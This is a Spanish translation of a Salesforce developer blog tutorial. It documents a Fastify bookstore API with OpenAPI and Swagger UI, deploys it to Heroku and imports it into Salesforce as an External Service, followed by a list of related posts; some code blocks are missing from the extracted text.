Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Maximice su uso de Salesforce AppExchange

Última actualización el 15 de marzo de 2023 por Rakesh Gupta Durante la última década, Salesforce AppExchange ha tenido un gran éxito debido a su capacidad para ayudar a las empresas a impulsar el éxito y el crecimiento. Hoy en día, hay más de 6000 aplicaciones y firmas de consultoría listadas en el intercambio. Con tantas excelentes opciones disponibles, identificar

La publicación Maximice su uso de Salesforce AppExchange apareció primero en Automation Champion .

Seguir leyendo

Creación de un complemento CLI de Salesforce ☁️

La CLI de Salesforce es una herramienta poderosa y esencial para el desarrollo de Salesforce. Uno de los aspectos más poderosos de la CLI es su extensibilidad a través de complementos.

La publicación Creación de un complemento CLI de Salesforce apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Comience a crear aplicaciones de Salesforce ahora con un nuevo proyecto de Trailhead ☁️

Los desarrolladores valoran y confían en Salesforce Platform porque simplifica el proceso de creación de soluciones empresariales seguras. Al utilizar las herramientas y los servicios integrados de la plataforma para la automatización, la integración y más, los desarrolladores pueden lograr el éxito comercial más rápido. Los desarrolladores de Salesforce abordan problemas comerciales complejos escribiendo código y utilizando herramientas sin código que ofrecen funciones simples rápidamente. Los […]

La publicación Comenzar a crear aplicaciones de Salesforce ahora con un nuevo proyecto de Trailhead apareció primero en el blog de desarrolladores de Salesforce .

Seguir leyendo

Cómo aprobar el examen de certificación de consultor de Sales Cloud

Última actualización el 20 de noviembre de 2022 por Rakesh Gupta Como consultor certificado de Sales Cloud recién nombrado, estoy compartiendo mis experiencias de estudio con usted y quiero que sea el próximo en hacerlo. ¡Así que prepárate y sumérgete! 👉 Ya que estás aquí, quizás quieras

La publicación Cómo aprobar el examen de certificación de consultor de Sales Cloud apareció primero en Automation Champion .

Seguir leyendo

Una experiencia de desarrollador completa en Heroku, funciones de Salesforce y AWS ☁️

En Salesforce, la innovación es uno de nuestros valores fundamentales. Con eso en mente, nos comprometemos a innovar en las tecnologías de la plataforma Salesforce, como Heroku y Salesforce Functions, así como a través de nuestra asociación con AWS, para unificar y mejorar la experiencia del desarrollador. En esta publicación de blog, le brindamos una descripción general de nuestras actualizaciones recientes, nuestro […]

La publicación Una experiencia de desarrollador completa en Heroku, Salesforce Functions y AWS apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Creación de una aplicación CLI con oclife ☁️

La forma más común de interactuar con un sistema operativo es a través de una interfaz de usuario (UI), donde las ventanas, etiquetas, formularios y botones familiares crean una experiencia de usuario atractiva (pero no siempre… es por eso que el diseño visual de UX es una ciencia dedicada ahora) . Pero, una interfaz de usuario no es la única forma; usuarios más técnicos (como nosotros […]

La publicación Creación de una aplicación CLI con oclf apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

La guía para desarrolladores de Dreamforce 2022 ☁️

¡Llamando a todos los desarrolladores! ¡Bienvenido de nuevo a Dreamforce! El equipo de relaciones con los desarrolladores está ansioso por compartir lo que le espera en Dreamforce 2022. Todos están trabajando arduamente para brindarle un programa de sesiones y experiencias atractivas, ya sea que asista en persona o lo vea en Salesforce+. Hemos elaborado esta práctica guía para […]

La publicación La guía para desarrolladores de Dreamforce 2022 apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Analice puntos de acceso de rendimiento y escala en aplicaciones complejas de Salesforce ☁️

En ocasiones, los desarrolladores y arquitectos participan en la fase de extinción de incendios de la implementación de un cliente. Esto suele ser después de que se completa la implementación y las aplicaciones se encuentran con múltiples problemas relacionados con el rendimiento. Es posible que los usuarios se quejen de ralentizaciones periódicas o que surjan excepciones de límite de gobernador en varias áreas dentro de la aplicación. Estos problemas afectan […]

La publicación Analizar puntos de acceso de rendimiento y escala en aplicaciones complejas de Salesforce apareció por primera vez en el blog de desarrolladores de Salesforce .

Seguir leyendo

Slack para desarrolladores de Salesforce ☁️

Con la adquisición de Slack por parte de Salesforce, Salesforce está logrando un objetivo importante: ayudar a las personas a trabajar desde cualquier lugar en este nuevo mundo totalmente digital. Los desarrolladores de Salesforce tienen la oportunidad de estar a la vanguardia de este mundo utilizando Slack para mostrar la información que sus clientes necesitan en el momento que la necesitan. Los desarrolladores pueden ampliar su […]

La publicación Slack para desarrolladores de Salesforce apareció primero en el Blog de desarrolladores de Salesforce .

Seguir leyendo

Dreamforce 2020: su guía definitiva para el mayor evento de Salesforce

¿Qué es Dreamforce? Dreamforce es una de las conferencias tecnológicas más importantes del mundo. Es el evento masivo de Salesforce con más de 170,000 asistentes ocupando completamente San Francisco durante un período de 4 días en la segunda mitad de cada año. Más de 2.700 sesiones y talleres con conferencias magistrales impartidas por ponentes de élite de empresas de renombre participan en […]

La publicación Dreamforce 2020 – Your Ultimate Guide to the Biggest Salesforce Event apareció primero en Inspire Planner .

Seguir leyendo

Preguntas de la entrevista en profundidad basadas en escenarios sobre la integración de Salesforce

Generalmente, dominar los conceptos de integración resulta complicado para muchos desarrolladores de Salesforce. Este artículo cubrirá todas las preguntas de la entrevista sobre conceptos de integración de salesforce como Salesforce Connect, Streaming API, SOAP API, … Leer más »

Seguir leyendo

Nueva investigación: Los equipos de entrega de Salesforce sobresalen en velocidad pero a expensas de la calidad

Última actualización el 5 de abril de 2021 por Rakesh Gupta Salesforce es el puente que conecta a los usuarios finales y los desarrolladores, incluidos los desarrolladores ciudadanos, que constituyen una gran parte de los desarrolladores de Salesforce. Esta explosión de pioneros ha superado los desafíos de lo tradicional … Continuar leyendo

La publicación New Research: Salesforce Delivery Teams Excel in Speed pero a expensas de la calidad apareció primero en Automation Champion .

Seguir leyendo